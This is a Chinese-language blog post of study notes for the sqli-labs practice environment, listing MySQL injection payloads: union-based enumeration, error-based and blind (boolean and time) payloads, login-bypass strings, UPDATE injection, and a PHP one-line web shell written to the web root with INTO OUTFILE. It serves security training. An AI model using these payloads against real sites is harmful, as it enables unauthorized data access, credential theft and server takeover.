Sqli-labs

Posted by Xiaoxi on July 27, 2016

Sqli-labs


0x00 SQL注入一般过程

  1. 判断是什么类型注入,有没有过滤了关键字,可否绕过,猜测后台SQL语句是怎样的,如何拼接
  2. 获取数据库用户(user()),版本(version()),数据库(database())等信息
  3. 获取某个数据库表中信息
  4. 获取列信息
  5. 获取数据

0x01 PHP+Mysql 手注一般过程

  1. 爆字段长度 order by num %(注释也可以使用--空格)
  2. 匹配字段 and 1=2 union select 1,2,3,4,5…%
  3. 利用内置函数爆数据库信息及相关信息 version() database() user() current_user() @@datadir数据库路径 @@basedir mysql安装路径 @@version_compile_os 操作系统
    1. (这里讲最通用的 mysql>5.0)
    2. 获取数据库(非必要,因为前面的database可以获得)and 1=2 union select 1,2,schema_name from information_schema.schemeta limit 0(开始的记录,0为第一个开始记录),1(显示1条记录) %
    3. 获取表 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = ‘数据库名字’(最常用的是十六进制表示的数据库,’容易被过滤) limit 0,1 %
    4. 获取列 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=0x十六进制数据库 and table_name=0x十六进制表 limit 0,1 %
    5. 获取内容 and 1=2 union select 1,2,concat_ws(char(32,58,32),username,password) from users(表名) limit 0,1 %

0x02 常见后台拼接语句

  1. $sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;(需闭合’)
  2. $sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”;
  3. $sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1”;(需闭合’))
  4. $id = ‘”’ . $id . ‘”’;$sql=”SELECT * FROM users WHERE id=($id) LIMIT 0,1”;即$sql=”SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1”;(需闭合”),此时你输入’不会报错)
  5. $sql=”SELECT * FROM users WHERE id=((‘$id’)) LIMIT 0,1”;(少见)

0x03 无正常数据回显注入

mysql报错注入时,我们有时候会遇到没有正常数据回显的注入.这时候就需要报错注入来获得我们需要的数据.

1. floor()
语句:and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

mysql> select 1 and (select 1 from  (select count(*),concat(version(),floor(rand
(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.5.401' for key 'group_key'

2. updatexml()
语句:and (updatexml(1,concat(0x3a,(select user())),1));
ct
mysql> select 1 and (updatexml(1,concat(0x3a,(select user())),1));
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

3. ExtractValue()

和upadtexml()用法差不多
语句:and extractvalue(1, concat(0x5c, (select user())));

mysql> select 1 and extractvalue(1, concat(0x5c, (select user())));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

4. GeometryCollection() version > MySQL4.1
5. MultiPoint()
6. Polygon()
7. LineString()
8. MultiPolygon()
9. MultiPoint()
10. MultiLineString()


这几个是mysql在4.1版本之后引入的一系列空间扩展,使其具备了一定的空间处理能力.
语句都一样就列举了一个例子.

语句:AND GeometryCollection((select * from(select * from(select user())a)b));

mysql> select 1 AND GeometryCollection((select * from(select * from(select user())a)b));

ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing

11. select exp(~(select * FROM(SELECT USER())a))         //double数值类型超出范围 //Exp()为以e为底的对数函数;版本在5.5.5及其以上
12. select !(select * from (select user())x -(ps:这是减号) ~0   //bigint超出范围;~0是对0逐位取反,很大的版本在5.5.5及其以上
13. select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;//mysql重复特性,此处重复了version,所以报错

0x04 盲注常用函数

  1. length(str):返回str字符串的长度。
  2. substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
  3. mid(str,pos,len):跟上面的一样,截取字符串
  4. ascii(str):返回字符串str的最左面字符的ASCII代码值。
  5. ord(str):同上,返回ascii码
  6. if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
  7. left(database(),1) 取database字符串的左边第一个

常见payload: ​

测试后台sql语句如何拼接
Id=1’ and sleep(10) --+
Id=1’) and sleep(10) --+
Id=1” and sleep(10) --+
Id=1”) and sleep(10) --+

基于布尔的盲注
(select length(database()) limit 0,1) > 10 --+
(select ascii(substr(database(),1,1)) limit 0,1 ) > 10 --+
(select count(*) from table ) >2		--+	
select count(*) from information_schema.tables > 10 --+
(select length(table_name) from information_schema.tables  where table_schema=0x2312365363314 limit 0,1) >10 --+
(select ascii(substr(table_name,1,1)) from information_schema.tables  where table_schema= 0x2312365363314 limit 0,1) >10 --+
(select length(column_name) from information_schema.columns where table_schema=0x31fe312312 and table_name = 0x23124534 limit 0,1) > 10 --+
(select ascii(substr(column_name,1,1)) from information_schema.columns  where table_schema= 'security' and table_name = 'users' limit 0,1) > 10 --+
(select ascii(substr(flag,1,1)) from flag limit 0,1 ) >10 --+

提供一个bool盲注脚本

基于时间的盲注
这里就要用到if语句了
if((select length(database()) limit 0,1) >10,0,sleep(5)) %23
if((select ascii(substr(database(),1,1)) limit 0,1) > 10 ,0 ,sleep(5)) %23
if((select count(*) from information_schema.tables)>10,0,sleep(5)) %23
if((select length(table_name) from information_schema.tables  where table_schema = 0x21312 limit 0,1 ) >10 ,0,sleep(5)) --
if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1>10,0,sleep(5)) %23
if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_shema='security' and table_name='users' limit 0,1)>10 ,0, sleep(5)) %23
if((select ascii(substr(username,1,1)) from admin limit 0,1)>10,0,sleep(5)) %23

提供一个Time盲注漏洞证明


0x05导出文件

  1. 最通俗的将一句话导出: select “<?php @eval($_POST[‘moxiaoxi’]);?>” into outfile “XXX\test.php”
  2. 导出文件一般需要知道系统网站的默认路径
  3. winserver的iis默认路径是c://inetpub/wwwroot/(asp)
  4. linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/html等
  5. linux的apache一般是/var/www/htm,/var/www/html/htdocs

0x06 POST注入

前文主要基于GET注入撰写,不过大体的思路是一样的。post注入无外乎,我们控制的点在与post的数据而非本来的原来GET中的url,也因此在post数据中不需要urllencode

常见后台语句

1. select username,password from users where username='$uname' and password = '$passwd' limit 0,1
2. 
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
3.SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1
4. 
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

payload

1. 万能密码 admin')or'1'='1' --  之类 admin'||'1'='1' # 
2. 和GET一样把数据注入出来(会回显的时候)
	uname=123") union select version(),database() # &passwd=31&submit=submit
	uname=123") union select version(),database() # &passwd=31&submit=submit
	uname=123") union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1 # &passwd=31&submit=submit
	uname=123") union select 1,column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1 # &passwd=31&submit=submit
	uname=123") union select username,password from users limit 1,1 # &passwd=31&submit=submit
3. 无正常数据回显
uname=11') and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=111&submit=submit
uname=11') and (updatexml(1,concat(0x3a,(select user())),1)) #&passwd=111&submit=submit
uname=11') and (extractvalue(1,concat(0x3a,(select database())))) #&passwd=111&submit=submit
4. 盲注
bool based
uname=1' or (select ascii(substr(database(),1,1)) > 100)#&passwd=&submit=Submit
uname=1' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 102)#&passwd=&submit=Submit
uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 68)#&passwd=&submit=Submit
time based
uname=123”) or (sleep(5)=0)#&passwd=123&submit=Submit
uname=") or (select if(ascii(substr(database(),1,1)) > 100,sleep(1)=0,NULL)) #&passwd=admin&submit=Submit
uname=123") or (select if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100),sleep(1)=0,0)) #&passwd=admin&submit=Submit
uname=123") or (select if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)) > 100),sleep(1)=0,0)) #&passwd=admin&submit=Submit
uname=123") or (select if((ascii(substr((select username from users limit 0,1),1,1)) > 50),sleep(1)=0,0)) # &passwd=admin&submit=Submit

0x07 update注入

一般存在于修改密码处

@$sql=”SELECT username, password FROM users WHERE username= $uname LIMIT 0,1”;

$update=”UPDATE users SET password = ‘​$passwd’ WHERE username=’$row1’”;

sqli-lab 17 这里的username经过了很多的限制条件几乎无法注入,但是,我们可以注入password

payload

uname=admin&passwd=111' and ( updatexml(1,concat(0x3a,(select user())),1)) #&submit=submit
uname=admin&passwd=111' and ( extractvalue(1,concat(0x3a,(select version())))) #&submit=submit
uname=admin&passwd=111' and (select 1 from (select count(*),concat_ws(0x3a,database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=submit